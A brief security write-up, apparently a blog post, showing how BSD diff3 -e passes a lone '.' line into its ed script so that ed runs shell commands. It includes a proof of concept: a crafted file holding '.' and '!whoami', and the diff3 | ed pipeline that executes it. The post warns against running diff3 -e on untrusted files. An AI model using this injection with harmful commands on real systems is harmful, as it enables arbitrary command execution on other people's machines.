Don't run (BSD) diff3 -e on arbitrary files
===========================================

From BSD's diff3(1):

NAME
     diff3 - 3-way differential file comparison

SYNOPSIS
     diff3 [-3aEeXx] file1 file2 file3

DESCRIPTION
     The diff3 utility compares the contents of three different versions of a
     file, file1, file2 and file3, writing the result to the standard output.

     [...]

     -e	     Produces output in a form suitable as an input script for the
	     ed(1) utility.  The script may then be used to merge differences
	     common between all three files and differences specific to file1
	     and file3.	 In other words, the -e option ignores differences
	     specific to file1 and file2, and those specific to file2 and
	     file3.  It is useful for backing out changes specific to file2
	     only.

     -x	     Produces an output script suitable for ed(1) with changes
	     specific only to all three versions.
BUGS
     The -e option cannot catch and change lines which have `.' as the first
     and only character on the line.  The resulting script will fail on that
     line as `.' is an ed(1) editing command.

Hm. So it sounds like diff3 will copy any dots verbatim. The dot causes ed to
stop editing, and accept further commands.  Of course, ed supports ! to execute
shell commands.

It's now not too difficult to craft a bad input Create empty file1 and file2.
Then create file3 as follows:

	.
	!whoami	

Then:

	$ diff3 -e file1 file2 file3
	1c
	.
	!whoami
	.

which is an ed script which will run whoami:

	$ diff3 -e file1 file2 file3 | ed file1
	1
	parry
	!
	?

Suppose the lesson here is simple: where there is smoke, there is fire.
Bugs are often indicative of security issues.